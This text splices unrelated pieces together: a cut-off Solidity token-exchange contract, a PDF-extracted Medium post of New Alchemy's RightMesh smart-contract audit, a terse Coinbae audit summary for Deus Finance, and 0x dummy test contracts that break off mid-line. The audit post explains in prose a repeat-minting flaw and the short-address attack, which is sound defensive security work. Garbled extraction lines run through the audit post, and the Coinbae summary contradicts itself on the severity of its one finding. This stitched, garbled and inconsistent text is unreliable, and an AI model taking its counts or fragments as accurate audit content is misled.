orderAddresses[2], takerToken: orderAddresses[3], feeRecipient: orderAddresses[4], makerTokenAmount: orderValues[0], takerTokenAmount: orderValues[1], makerFee: orderValues[2], takerFee: orderValues[3], expirationTimestampInSec: orderValues[4], orderHash: getOrderHash(orderAddresses, orderValues) }); require(order.maker == msg.sender); require(order.makerTokenAmount > 0 && order.takerTokenAmount > 0 && cancelTakerTokenAmount > 0); if (block.timestamp >= order.expirationTimestampInSec) { LogError(uint8(Errors.ORDER_EXPIRED), order.orderHash); return 0; } uint remainingTakerTokenAmount = safeSub(order.takerTokenAmount, getUnavailableTakerTokenAmount(order.orderHash)); uint cancelledTakerTokenAmount = min256(cancelTakerTokenAmount, remainingTakerTokenAmount); if (cancelledTakerTokenAmount == 0) { LogError(uint8(Errors.ORDER_FULLY_FILLED_OR_CANCELLED), order.orderHash); return 0; } cancelled[order.orderHash] = safeAdd(cancelled[order.orderHash], cancelledTakerTokenAmount); LogCancel( order.maker, order.feeRecipient, order.makerToken, order.takerToken, getPartialAmount(cancelledTakerTokenAmount, order.takerTokenAmount, order.makerTokenAmount), cancelledTakerTokenAmount, keccak256(order.makerToken, order.takerToken), order.orderHash ); return cancelledTakerTokenAmount; } /* * Wrapper functions */ /// @dev Fills an order with specified parameters and ECDSA signature, throws if specified amount not filled entirely. /// @param orderAddresses Array of order's maker, taker, makerToken, takerToken, and feeRecipient. /// @param orderValues Array of order's makerTokenAmount, takerTokenAmount, makerFee, takerFee, expirationTimestampInSec, and salt. /// @param fillTakerTokenAmount Desired amount of takerToken to fill. /// @param v ECDSA signature parameter v. /// @param r ECDSA signature parameters r. /// @param s ECDSA signature parameters s. function fillOrKillOrder( address[5] orderAddresses, uint[6] orderValues, uint fillTakerTokenAmount, uint8 v, bytes32 r, bytes32 s) public { require(fillOrder( orderAddresses, orderValues, fillTakerTokenAmount, false, v, r, s ) == fillTakerTokenAmount); } /// @dev Synchronously executes multiple fill orders in a single transaction. /// @param orderAddresses Array of address arrays containing individual order addresses. /// @param orderValues Array of uint arrays containing individual order values. /// @param fillTakerTokenAmounts Array of desired amounts of takerToken to fill in orders. /// @param shouldThrowOnInsufficientBalanceOrAllowance Test if transfers will fail before attempting. /// @param v Array ECDSA signature v parameters. /// @param r Array of ECDSA signature r parameters. /// @param s Array of ECDSA signature s parameters. function batchFillOrders( address[5][] orderAddresses, uint[6][] orderValues, uint[] fillTakerTokenAmounts, bool shouldThrowOnInsufficientBalanceOrAllowance, uint8[] v, bytes32[] r, bytes32[] s) public { for (uint i = 0; i < orderAddresses.length; i++) { fillOrder( orderAddresses[i], orderValues[i], fillTakerTokenAmounts[i], shouldThrowOnInsufficientBalanceOrAllowance, v[i], r[i], s[i] ); } } /// @dev Synchronously executes multiple fillOrKill orders in a single transaction. /// @param orderAddresses Array of address arrays containing individual order addresses. /// @param orderValues Array of uint arrays containing individual order values. /// @param fillTakerTokenAmounts Array of desired amounts of takerToken to fill in orders. /// @param v Array ECDSA signature v parameters. /// @param r Array of ECDSA signature r parameters. /// @param s Array of ECDSA signature s parameters. function batchFillOrKillOrders( address[5][] orderAddresses, uint[6][] orderValues, uint[] fillTakerTokenAmounts, uint8[] v, bytes32[] r, bytes32[] s) public { for (uint i = 0; i < orderAddresses.length; i++) { fillOrKillOrder( orderAddresses[i], orderValues[i], fillTakerTokenAmounts[i], v[i], r[i], s[i] ); } } /// @dev Synchronously executes multiple fill orders in a single transaction until total fillTakerTokenAmount filled. /// @param orderAddresses Array of address arrays containing individual order addresses. /// @param orderValues Array of uint arrays containing individual order values. /// @param fillTakerTokenAmount Desired total amount of takerToken to fill in orders. /// @param shouldThrowOnInsufficientBalanceOrAllowance Test if transfers will fail before attempting. /// @param v Array ECDSA signature v parameters. /// @param r Array of ECDSA signature r parameters. /// @param s Array of ECDSA signature s parameters. /// @return Total amount of fillTakerTokenAmount filled in orders. function fillOrdersUpTo( address[5][] orderAddresses, uint[6][] orderValues, uint fillTakerTokenAmount, bool shouldThrowOnInsufficientBalanceOrAllowance, uint8[] v, bytes32[] r, bytes32[] s) public returns (uint) { uint filledTakerTokenAmount = 0; for (uint i = 0; i < orderAddresses.length; i++) { require(orderAddresses[i][3] == orderAddresses[0][3]); // takerToken must be the same for each order filledTakerTokenAmount = safeAdd(filledTakerTokenAmount, fillOrder( orderAddresses[i], orderValues[i], safeSub(fillTakerTokenAmount, filledTakerTokenAmount), shouldThrowOnInsufficientBalanceOrAllowance, v[i], r[i], s[i] )); if (filledTakerTokenAmount == fillTakerTokenAmount) break; } return filledTakerTokenAmount; } /// @dev Synchronously cancels multiple orders in a single transaction. /// @param orderAddresses Array of address arrays containing individual order addresses. /// @param orderValues Array of uint arrays containing individual order values. /// @param cancelTakerTokenAmounts Array of desired amounts of takerToken to cancel in orders. function batchCancelOrders( address[5][] orderAddresses, uint[6][] orderValues, uint[] cancelTakerTokenAmounts) public { for (uint i = 0; i < orderAddresses.length; i++) { cancelOrder( orderAddresses[i], orderValues[i], cancelTakerTokenAmounts[i] ); } } /* * Constant public functions */ /// @dev Calculates Keccak-256 hash of order with specified parameters. /// @param orderAddresses Array of order's maker, taker, makerToken, takerToken, and feeRecipient. /// @param orderValues Array of order's makerTokenAmount, takerTokenAmount, makerFee, takerFee, expirationTimestampInSec, and salt. /// @return Keccak-256 hash of order. function getOrderHash(address[5] orderAddresses, uint[6] orderValues) public constant returns (bytes32) { return keccak256( address(this), orderAddresses[0], // maker orderAddresses[1], // taker orderAddresses[2], // makerToken orderAddresses[3], // takerToken orderAddresses[4], // feeRecipient orderValues[0], // makerTokenAmount orderValues[1], // takerTokenAmount orderValues[2], // makerFee orderValues[3], // takerFee orderValues[4], // expirationTimestampInSec orderValues[5] // salt ); } /// @dev Verifies that an order signature is valid. /// @param signer address of signer. /// @param hash Signed Keccak-256 hash. /// @param v ECDSA signature parameter v. /// @param r ECDSA signature parameters r. /// @param s ECDSA signature parameters s. /// @return Validity of order signature. function isValidSignature( address signer, bytes32 hash, uint8 v, bytes32 r, bytes32 s) public constant returns (bool) { return signer == ecrecover( keccak256("\x19Ethereum Signed Message:\n32", hash), v, r, s ); } /// @dev Checks if rounding error > 0.1%. /// @param numerator Numerator. /// @param denominator Denominator. /// @param target Value to multiply with numerator/denominator. /// @return Rounding error is present. function isRoundingError(uint numerator, uint denominator, uint target) public constant returns (bool) { uint remainder = mulmod(target, numerator, denominator); if (remainder == 0) return false; // No rounding error. uint errPercentageTimes1000000 = safeDiv( safeMul(remainder, 1000000), safeMul(numerator, target) ); return errPercentageTimes1000000 > 1000; } /// @dev Calculates partial value given a numerator and denominator. /// @param numerator Numerator. /// @param denominator Denominator. /// @param target Value to calculate partial of. /// @return Partial value of target. function getPartialAmount(uint numerator, uint denominator, uint target) public constant returns (uint) { return safeDiv(safeMul(numerator, target), denominator); } /// @dev Calculates the sum of values already filled and cancelled for a given order. /// @param orderHash The Keccak-256 hash of the given order. /// @return Sum of values already filled and cancelled. function getUnavailableTakerTokenAmount(bytes32 orderHash) public constant returns (uint) { return safeAdd(filled[orderHash], cancelled[orderHash]); } /* * Internal functions */ /// @dev Transfers a token using TokenTransferProxy transferFrom function. /// @param token Address of token to transferFrom. /// @param from Address transfering token. /// @param to Address receiving token. /// @param value Amount of token to transfer. /// @return Success of token transfer. function transferViaTokenTransferProxy( address token, address from, address to, uint value) internal returns (bool) { return TokenTransferProxy(TOKEN_TRANSFER_PROXY_CONTRACT).transferFrom(token, from, to, value); } /// @dev Checks if any order transfers will fail. /// @param order Order struct of params that will be checked. /// @param fillTakerTokenAmount Desired amount of takerToken to fill. /// @return Predicted result of transfers. function isTransferable(Order order, uint fillTakerTokenAmount) internal constant // The called token contracts may attempt to change state, but will not be able to due to gas limits on getBalance and getAllowance. returns (bool) { address taker = msg.sender; uint fillMakerTokenAmount = getPartialAmount(fillTakerTokenAmount, order.takerTokenAmount, order.makerTokenAmount); if (order.feeRecipient != address(0)) { bool isMakerTokenZRX = order.makerToken == ZRX_TOKEN_CONTRACT; bool isTakerTokenZRX = order.takerToken == ZRX_TOKEN_CONTRACT; uint paidMakerFee = getPartialAmount(fillTakerTokenAmount, order.takerTokenAmount, order.makerFee); uint paidTakerFee = getPartialAmount(fillTakerTokenAmount, order.takerTokenAmount, order.takerFee); uint requiredMakerZRX = isMakerTokenZRX ? safeAdd(fillMakerTokenAmount, paidMakerFee) : paidMakerFee; uint requiredTakerZRX = isTakerTokenZRX ? safeAdd(fillTakerTokenAmount, paidTakerFee) : paidTakerFee; if ( getBalance(ZRX_TOKEN_CONTRACT, order.maker) < requiredMakerZRX || getAllowance(ZRX_TOKEN_CONTRACT, order.maker) < requiredMakerZRX || getBalance(ZRX_TOKEN_CONTRACT, taker) < requiredTakerZRX || getAllowance(ZRX_TOKEN_CONTRACT, taker) < requiredTakerZRX ) return false; if (!isMakerTokenZRX && ( getBalance(order.makerToken, order.maker) < fillMakerTokenAmount // Don't double check makerToken if ZRX || getAllowance(order.makerToken, order.maker) < fillMakerTokenAmount) ) return false; if (!isTakerTokenZRX && ( getBalance(order.takerToken, taker) < fillTakerTokenAmount // Don't double check takerToken if ZRX || getAllowance(order.takerToken, taker) < fillTakerTokenAmount) ) return false; } else if ( getBalance(order.makerToken, order.maker) < fillMakerTokenAmount || getAllowance(order.makerToken, order.maker) < fillMakerTokenAmount || getBalance(order.takerToken, taker) < fillTakerTokenAmount || getAllowance(order.takerToken, taker) < fillTakerTokenAmount ) return false; return true; } /// @dev Get token balance of an address. /// @param token Address of token. /// @param owner Address of owner. /// @return Token balance of owner. function getBalance(address token, address owner) internal constant // The called token contract may attempt to change state, but will not be able to due to an added gas limit. returns (uint) { return Token(token).balanceOf.gas(EXTERNAL_QUERY_GAS_LIMIT)(owner); // Limit gas to prevent reentrancy } /// @dev Get allowance of token given to TokenTransferProxy by an address. /// @param token Address of token. /// @param owner Address of owner. /// @return Allowance of token given to TokenTransferProxy by owner. function getAllowance(address token, address owner) internal constant // The called token contract may attempt to change state, but will not be able to due to an added gas limit. returns (uint) { return Token(token).allowance.gas(EXTERNAL_QUERY_GAS_LIMIT)(owner, TOKEN_TRANSFER_PROXY_CONTRACT); // Limit gas to prevent reentrancy } }
2022/7/1 1 1:23 Right Mesh Smart Contract Audit. Right Mesh engaged New Alchemy to audit… | by New Alchemy | New Alchemy | Medium https://medium.com/new-alchemy/right-mesh-smart-contract-audit-55bc7b78c58c 1/10Published inNew Alchemy New Alchemy Follow Apr 17, 2018·10 min read Save Right Mesh Smart Contract Audit Right Mesh engaged New Alchemy to audit the smart contracts for their “RMESH” token. We focused on identifying security flaws in the design and implementation of the contracts and on finding differences between the contracts’ implementation and their behaviour as described in public documentation. The audit was performed over four days in February and March of 2018. This document describes the issues discovered in the audit. An initial version of this document was provided to RightMesh, who made various changes to their contracts based on New Alchemy’s findings; this document was subsequently updated in March 2018 to reflect the changes. Files Audited The code audited by New Alchemy is in the GitHub repository https://github.com/firstcoincom/solidity at commit hash Th id f hiiil 174Open in app Get started 2022/7/1 1 1:23 Right Mesh Smart Contract Audit. Right Mesh engaged New Alchemy to audit… | by New Alchemy | New Alchemy | Medium https://medium.com/new-alchemy/right-mesh-smart-contract-audit-55bc7b78c58c 2/1051b29dbba309acd6acd40931be07c3b857dee506. The revised contracts after the initial report was delivered are in commit 04c6bb594ad5fa0b8757feba030a1341f59e9f85. RightMesh made additional fixes whose commit hash was not shared with New Alchemy. New Alchemy’s audit was additionally guided by the following documents: RightMesh Whitepaper, version 4.0 (February 14 2018) RightMesh Technical Whitepaper, version 3.1 (December 17 2017) RightMesh Frequently Asked Questions The review identified one critical finding, which allowed the crowd sale owner to issue large quantities of tokens to addresses that it controls by abusing a flaw in the mechanism for minting “predefined tokens”. Three additional minor flaws were identified, all of which are best-practice violations of limited practical exploitability: lack of two-phase ownership transfer and of mitigations for the short-address attack, and token allocation configuration that is less than ideally transparent. An additional minor flaw was documented in some earlier versions of this report but was determined to be a false positive. After reviewing an initial version of this report, RightMesh made changes to their contracts to prevent predefined tokens from being minted multiple times and to mitigate short-address attacks. No changes were made to ownership transfers or to the configuration of predefined token allocations. General Discussion These contracts implement a fairly simple token and crowdsale, drawing heavily on base contracts from the OpenZeppelin project ¹. The code is well commented. However, the RightMesh white papers and other documentation provide very little detail about the operation of the crowd sale or token. It was not clear to New Alchemy who receives pre-defined token allocations; from MeshCrowdsale, how large these allocations are, or why they receive them. Likewise, it was not clear how Timelock fits into the token ecosystem. RightMesh later clarified that the pre-defined token allocations are for the "RightMesh GmbH & Community", "Left & team", "Advisors & TGE costs", and "Airdrop to community", as documented in the RightMesh FAQ. Further, the Timelock contractOpen in app Get started 2022/7/1 1 1:23 Right Mesh Smart Contract Audit. Right Mesh engaged New Alchemy to audit… | by New Alchemy | New Alchemy | Medium https://medium.com/new-alchemy/right-mesh-smart-contract-audit-55bc7b78c58c 3/10is used to hold these allocations. Some of the OpenZeppelin base contracts inherited by the RightMesh contracts have changed substantially since the RightMesh contracts were written. Consequently, the RightMesh contracts cannot be built against the head of OpenZeppelin. RightMesh should either copy a fork of the relevant OpenZeppelin contracts into their repository or document the OpenZeppelin release or commit that should be used to build their contracts. Critical Issues Fixed: Predefined tokens can be minted multiple times As its name implies, the function MeshCrowdsale.mintPredefinedTokens mints tokens according to an allocation set during deployment. This function does not check that it has not previously been called, so it can be called multiple times. Despite comments to the contrary, this function is tagged onlyOwner, so this function will only ever be called more than once if an owner makes a mistake or deliberately misbehaves. Further, MeshToken gets deployed in a default state of paused, which prevents any token transfers, and mintPredefinedTokens does check that the balance of each beneficiary is zero, so if mintPredefinedTokens has already been called, subsequent calls should have no effect. However, there are still possible conditions under which a beneficiary could transfer tokens prior to an extra call to mintPredefinedTokens: An owner could call MeshToken.unpause, which would allow all token holders to transfer tokens. MeshToken cannot be re-paused once unpaused, so any call to mintPredefinedTokens after MeshToken has been unpaused may mint additional tokens. An owner could use MeshToken.updateAllowedTransfers to flag a beneficiary as being allowed to make transfers despite MeshToken being paused. In the worst case, a rogue owner deploys MeshCrowdsale with a beneficiary address that it controls, flags that address to permit transfers despite MeshToken being paused, waits for some tokens to be sold, then alternates calls to MeshCrowdsale.mintPredefinedTokens and MeshToken.transfer to allocate up to the remaining crowdsale cap to itself. T tht dfidtk l itd tlhldb dddtOpen in app Get started 2022/7/1 1 1:23 Right Mesh Smart Contract Audit. Right Mesh engaged New Alchemy to audit… | by New Alchemy | New Alchemy | Medium https://medium.com/new-alchemy/right-mesh-smart-contract-audit-55bc7b78c58c 4/10To ensure that predefined tokens are only minted once, a control should be added to MeshCrowdsale.mintPredefinedTokensto ensure that it is called at most once. Some sort of control to ensure that MeshToken remains paused until the crowdsale completes may also be useful. Further, the comment or the declaration of mintPredefinedTokens should be amended so that they agree on what users are allowed to call this function. Re-test results: RightMesh added logic to prevent mintPredefinedTokens from being called twice and corrected the function comment to indicate that it can only be called by the owner. Minor Issues Not Fixed: Lack of two-phase ownership transfer In contracts that inherit the common Ownable contract from the OpenZeppelin project^2 (including MeshToken, MeshCrowdsale, and Timelock), a contract has a single owner. That owner can unilaterally transfer ownership to a different address. However, if the owner of a contract makes a mistake in entering the address of an intended new owner, then the contract can become irrecoverably unowned. In order to preclude this, New Alchemy recommends implementing two-phase ownership transfer. In this model, the original owner designates a new owner, but does not actually transfer ownership. The new owner then accepts ownership and completes the transfer. This can be implemented as follows: contract Ownable { address public owner; address public newOwner event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = msg.sender; newOwner = address(0); } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { require(address(0) != _newOwner); Open in app Get started 2022/7/1 1 1:23 Right Mesh Smart Contract Audit. Right Mesh engaged New Alchemy to audit… | by New Alchemy | New Alchemy | Medium https://medium.com/new-alchemy/right-mesh-smart-contract-audit-55bc7b78c58c 5/10 newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); OwnershipTransferred(owner, msg.sender); owner = msg.sender; newOwner = address(0); } } Re-test results: RightMesh opted to preserve the current ownership transfer mechanism. Fixed: Lack of short-address attack protections Some Ethereum clients may create malformed messages if a user is persuaded to call a method on a contract with an address that is not a full 20 bytes long. In such a “short- address attack”, an attacker generates an address whose last byte is 0x00, then sends the first 19 bytes of that address to a victim. When the victim makes a contract method call, it appends the 19-byte address to msg.data followed by a value. Since the high- order byte of the value is almost certainly 0x00, reading 20 bytes from the expected location of the address in msg.data will result in the correct address. However, the value is then left-shifted by one byte, effectively multiplying it by 256 and potentially causing the victim to transfer a much larger number of tokens than intended. msg.data will be one byte shorter than expected, but due to how the EVM works, reads past its end will just return 0x00. This attack effects methods that transfer tokens to destination addresses, where the method parameters include a destination address followed immediately by a value. In the RightMesh contracts, such methods include MeshToken.mint, MeshToken.transfer, MeshToken.transferFrom, MeshToken.approve, MeshToken.increaseApproval, MeshToken.decreaseApproval, (all inherited from OpenZeppelin base contracts), and Timelock.allocateTokens. While the root cause of this flaw is buggy serializers and how the EVM works, it can be easily mitigated in contracts. When called externally, an affected method should verify that msg.data.length is at least the minimum length of the method's expected arguments (for instance, msg.data.length for an external call to Timelock.allocateTokens should be at least 68: 4 for the hash, 32 for the address (including12bytesofpadding)and32forthevalue;someclientsmayaddadditionalOpen in app Get started 2022/7/1 1 1:23 Right Mesh Smart Contract Audit. Right Mesh engaged New Alchemy to audit… | by New Alchemy | New Alchemy | Medium https://medium.com/new-alchemy/right-mesh-smart-contract-audit-55bc7b78c58c 6/10(including 12 bytes of padding), and 32 for the value; some clients may add additional padding to the end). This can be implemented in a modifier. External calls can be detected in the following ways: Compare the first four bytes of msg.data against the method hash. If they don't match, then the call is internal and no short-address check is necessary. Avoid creating public methods that may be subject to short-address attacks; instead create only external methods that check for short addresses as described above. public methods can be simulated by having the external methods call private or internal methods that perform the actual operations and that do not check for short-address attacks. Whether or not it is appropriate for contracts to mitigate the short-address attack is a contentious issue among smart-contract developers. Many, including those behind the OpenZeppelin project, have explicitly chosen not to do so. While it is New Alchemy’s position that there is value in protecting users by incorporating low-cost mitigations into likely target functions, RightMesh would not stand out from the community if they also choose not to do so. Re-test results: RightMesh overrode the listed functions to require that msg.data.length is at least 68. All are public, so they may not work properly if called internally from something with a shorter argument list. Not Fixed: Predefined token allocations are not hard-coded According to the RightMesh FAQ, tokens are allocated as follows: 30%: Public distribution (crowdsale) 30%: RightMesh GmbH & Community 20%: Left & team 10%: Advisors & TGE costs 10%: Airdrop to community These last five allocations are controlled at deployment by the beneficiaries and beneficiaryAmounts arrays passed into the constructor for MeshCrowdsale. While this hd h ll id ihblkhi h i b i dbOpen in app Get started 2022/7/1 1 1:23 Right Mesh Smart Contract Audit. Right Mesh engaged New Alchemy to audit… | by New Alchemy | New Alchemy | Medium https://medium.com/new-alchemy/right-mesh-smart-contract-audit-55bc7b78c58c 7/10approach does put the allocation data in the blockchain where it can be retrieved by interested parties, the state of the contract is not as easily located or reviewed as its source code. The current predefined token allocation in config/predefined-minting-config.js appears to try five times to assign 100 tokens to the address 0x5D51E3558757Bfdfc527867d046260fD5137Fc0F (this should only succeed once due to the balance check), though this may be test data. For optimal transparency, RightMesh should instead hard-code the allocation percentages or token counts so that anyone reviewing the contract source code can easily verify that tokens were issued as documented. Re-test results: RightMesh opted to preserve the current allocation configuration mechanism. Line by line comments This section lists comments on design decisions and code quality made by New Alchemy during the review. They are not known to represent security flaws. MeshCrowdsale.sol Lines 12, 52 – 53 OpenZeppelin has radically refactored their crowdsale contracts as of late February 2018. Among other things, CappedCrowdsale has been moved, the functionality for starting and ending times has been moved to TimedCrowdsale, and Crowdsale.validPurchase no longer exists. In order to ensure that a version of OpenZeppelin compatible with these contracts can be easily identified, RightMesh should copy a fork of the relevant contracts into their repository or at least document the commit that should be used. Re-test results: RightMesh added a comment to their code indicating that the version of OpenZeppelin at commit hash 4d7c3cca7590e554b76f6d91cbaaae87a6a2e2e3 should be used to build their contracts.Open in app Get started 2022/7/1 1 1:23 Right Mesh Smart Contract Audit. Right Mesh engaged New Alchemy to audit… | by New Alchemy | New Alchemy | Medium https://medium.com/new-alchemy/right-mesh-smart-contract-audit-55bc7b78c58c 8/10Line 42 “og” should be “of”. Re-test results: This issue has been fixed as recommended. Lines 96, 116, 132, 149, 159 There is no need for these functions to return bool: they all unconditionally return true and throw on failure. Removing the return values would make code that calls these functions simpler, as it would not need to check return values. It would also make them marginally cheaper in gas to execute. Re-test results: This issue has been fixed as recommended. Line 167 This function is declared as returning bool, but never returns anything. As above, there is no need for it to return anything. Re-test results: This issue has been fixed as recommended. MeshToken.sol Lines 60 The function should be tagged public or external rather than relying on the default visibility. Re-test results: RightMesh reports fixing this issue as recommended. Timelock.sol Line 91 If cliffReleasePercentage and slopeReleasePercentage ever sum to less than 100, then the remaining fraction of tokens will become available all at once once the slope duration expires, essentially creating a second cliff at the bottom of the slope. If this is not intended behaviour, then the check should be amended to require that the sum is 100%. Re-test results: RightMesh reports that this is intended behaviour.Open in app Get started 2022/7/1 1 1:23 Right Mesh Smart Contract Audit. Right Mesh engaged New Alchemy to audit… | by New Alchemy | New Alchemy | Medium https://medium.com/new-alchemy/right-mesh-smart-contract-audit-55bc7b78c58c 9/10Lines 117, 128, 138, 147, 176 There is no need for these functions to return bool: they all unconditionally return true and throw on failure. Removing the return values would make code that calls these functions simpler, as it would not need to check return values. It would also make them marginally cheaper in gas to execute. Re-test results: RightMesh reports fixing this issue as recommended. Line 157 Consider checking withdrawalPaused in availableForWithdrawal instead of in withdraw. As currently implemented, availableForWithdrawal may report a non-zero quantity available for a paused address, but withdrawal will fail. It would be more intuitive if availableForWithdrawal reported 0 for a paused address. Re-test results: RightMesh reports that this behaviour is by design: it allows employees to see unlocked tokens even if withdrawal is paused. Disclaimer The audit makes no statements or warranties about utility of the code, safety of the code, suitability of the business model, regulatory regime for the business model, or any other statements about fitness of the contracts to purpose, or their bugfree status. The audit documentation is for discussion purposes only. New Alchemy is a strategy and technology advisory group specializing in tokenization. One of the only companies to offer a full spectrum of guidance from tactical technical execution to high-level theoretical modeling, New Alchemy provides blockchain technology, token game theory, smart contracts, security audits, and ICO advisory to the most innovative startups worldwide. Get in touch with us at Hello@NewAlchemy.io Open in app Get started 2022/7/1 1 1:23 Right Mesh Smart Contract Audit. Right Mesh engaged New Alchemy to audit… | by New Alchemy | New Alchemy | Medium https://medium.com/new-alchemy/right-mesh-smart-contract-audit-55bc7b78c58c 10/10 About Help Terms Privacy Get the Medium app Open in app Get started
Issues Count of Minor/Moderate/Major/Critical Minor: 1 Moderate: 1 Major: 0 Critical: 0 Minor Issues 2.a Problem: Solidity assert violation. 2.b Fix: Update the contracts to the latest supported version of solidity. Moderate Issues 3.a Problem: Incorrect ERC20 implementation. 3.b Fix: Update the contracts to the latest supported version of solidity. Major Issues: None Critical Issues: None Observations: It is best practice to use the latest version of the solidity compiler supported by the toolset you use. Conclusion: Coinbae's audit report division performed an audit for the Deus Finance team (DEAStaking pool) and found 1 minor and 1 moderate issue. The issues can be fixed by updating the contracts to the latest supported version of solidity. Issues Count of Minor/Moderate/Major/Critical: - Minor: 0 - Moderate: 0 - Major: 0 - Critical: 1 Critical: 5.a Problem: Overpowered user 5.b Fix: See the update and teams response on page 10. Observations: - Outdated compiler version - No or floating compiler version set - Use of right-to-left-override control character - Shadowing of built-in symbol - Incorrect constructor name - State variable shadows another state variable - Local variable shadows a state variable - Function parameter shadows a state variable - Named return value shadows a state variable - Unary operation without effect Solidity code analysis - Unary operation directly after assignment - Unused state variable - Unused local variable - Function visibility is not set - State variable visibility is not set - Use of deprecated functions: call code(), sha3(), etc. - Use of deprecated global variables (msg.gas, etc.) - Use of deprecated keywords (throw, var) - Incorrect function state mutability - Does the code conform to the Solidity styleguide Issues Count of Minor/Moderate/Major/Critical: Minor: 1 Moderate: 0 Major: 0 Critical: 0 Minor Issues: 2.a Problem: Functions on DEAStaking.sol (setShares, setRewardPerBlock`,setWallets) are callable only from one address if the private key of this address becomes compromised rewards can be changed and this may lead to undesirable consequences. 2.b Fix: Use a multisig wallet for overpowered users. Moderate: None Major: None Critical: None Observations: After pointing out the high severity issues to the Deus Finance team consensus was reached and corroborated by the Coinbae team. The Deus Finance team did in fact place control of the contracts under ownership of the DAO(Decentralized autonomous organization) as can be seen in this tx id. Conclusion: The audit team concluded that the issue was solved and the risk was moved to low.
/* Copyright 2019 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity ^0.5.5; library LibDummy { using LibDummy for uint256; uint256 constant internal SOME_CONSTANT = 1234; function addOne (uint256 x) internal pure returns (uint256 sum) { return x + 1; } function addConstant (uint256 x) internal pure returns (uint256 someConstant) { return x + SOME_CONSTANT; } } /* Copyright 2019 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity ^0.5.5; import "./LibDummy.sol"; contract TestLibDummy { using LibDummy for uint256; function publicAddOne (uint256 x) public pure returns (uint256 result) { return x.addOne(); } function publicAddConstant (uint256 x) public pure returns (uint256 result) { return x.addConstant(); } } /* Copyright 2019 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma experimental ABIEncoderV2; pragma solidity ^0.5.5; contract AbiGenDummy { uint256 constant internal SOME_CONSTANT = 1234; string constant internal REVERT_REASON = "REVERT_WITH_CONSTANT"; string constant internal REQUIRE_REASON = "REQUIRE_WITH_CONSTANT"; function simplePureFunction () public pure returns (uint256 result) { return 1; } function simplePureFunctionWithInput (uint256 x) public pure returns (uint256 sum) { return 1 + x; } function pureFunctionWithConstant () public pure returns (uint256 someConstant) { return SOME_CONSTANT; } function simpleRevert () public pure { revert("SIMPLE_REVERT"); } function revertWithConstant () public pure { revert(REVERT_REASON); } function simpleRequire () public pure { require(0 > 1, "SIMPLE_REQUIRE"); } function requireWithConstant () public pure { require(0 > 1, REQUIRE_REASON); } /// @dev test that devdocs will be generated and /// that multiline devdocs will look okay /// @param hash description of some hash. Let's make this line super long to demonstrate hanging indents for method params. It has to be more than one hundred twenty columns. /// @param v some v, recovery id /// @param r ECDSA r output /// @param s ECDSA s output /// @return the signerAddress that created this signature. this line too is super long in order to demonstrate the proper hanging indentation in generated code. function ecrecoverFn(bytes32 hash, uint8 v, bytes32 r, bytes32 s) public pure returns (address signerAddress) { bytes memory prefix = "\x19Ethereum Signed Message:\n32"; bytes32 prefixedHash = keccak256(abi.encodePacked(prefix, hash)); return ecrecover(prefixedHash, v, r, s); } event Withdrawal(address indexed _owner, uint _value); function withdraw(uint wad) public { emit Withdrawal(msg.sender, wad); } // test: generated code should normalize address inputs to lowercase // add extra inputs to make sure it works with address in any position function withAddressInput(address x, uint256 a, uint256 b, address y, uint256 c) public pure returns (address z) { return x; } event AnEvent(uint8 param); function acceptsBytes(bytes memory a) public pure {} /// @dev a method that accepts an array of bytes /// @param a the array of bytes being accepted function acceptsAnArrayOfBytes(bytes[] memory a) public pure {} struct Struct { bytes someBytes; uint32 anInteger; bytes[] aDynamicArrayOfBytes; string aString; } function structInput(Struct memory s) public pure {} /// @dev a method that returns a struct /// @return a Struct struct function structOutput() public pure returns(Struct memory s) { bytes[] memory byteArray = new bytes[](2); byteArray[0] = "0x123"; byteArray[1] = "0x321"; return Struct({ someBytes: "0x123", anInteger: 5, aDynamicArrayOfBytes: byteArray, aString: "abc" }); } function methodReturningArrayOfStructs() public pure returns(Struct[] memory) {} struct NestedStruct { Struct innerStruct; string description; } function nestedStructInput(NestedStruct memory n) public pure {} function nestedStructOutput() public pure returns(NestedStruct memory) {} struct StructNotDirectlyUsedAnywhere { uint256 aField; } struct NestedStructWithInnerStructNotUsedElsewhere { StructNotDirectlyUsedAnywhere innerStruct; } function methodUsingNestedStructWithInnerStructNotUsedElsewhere() public pure returns(NestedStructWithInnerStructNotUsedElsewhere memory) {} uint someState; function nonPureMethod() public returns(uint) { return someState += 1; } function nonPureMethodThatReturnsNothing() public { someState += 1; } function methodReturningMultipleValues() public pure returns (uint256, string memory) { return (1, "hello"); } function overloadedMethod(int a) public pure {} function overloadedMethod(string memory a) public pure {} // begin tests for `decodeTransactionData`, `decodeReturnData` /// @dev complex input is dynamic and more difficult to decode than simple input. struct ComplexInput { uint256 foo; bytes bar; string car; } /// @dev complex input is dynamic and more difficult to decode than simple input. struct ComplexOutput { ComplexInput input; bytes lorem; bytes ipsum; string dolor; } /// @dev Tests decoding when both input and output are empty. function noInputNoOutput() public pure { // NOP require(true == true); } /// @dev Tests decoding when input is empty and output is non-empty. function noInputSimpleOutput() public pure returns (uint256) { return 1991; } /// @dev Tests decoding when input is not empty but output is empty. function simpleInputNoOutput(uint256) public pure { // NOP require(true == true); } /// @dev Tests decoding when both input and output are non-empty. function simpleInputSimpleOutput(uint256) public pure returns (uint256) { return 1991; } /// @dev Tests decoding when the input and output are complex. function 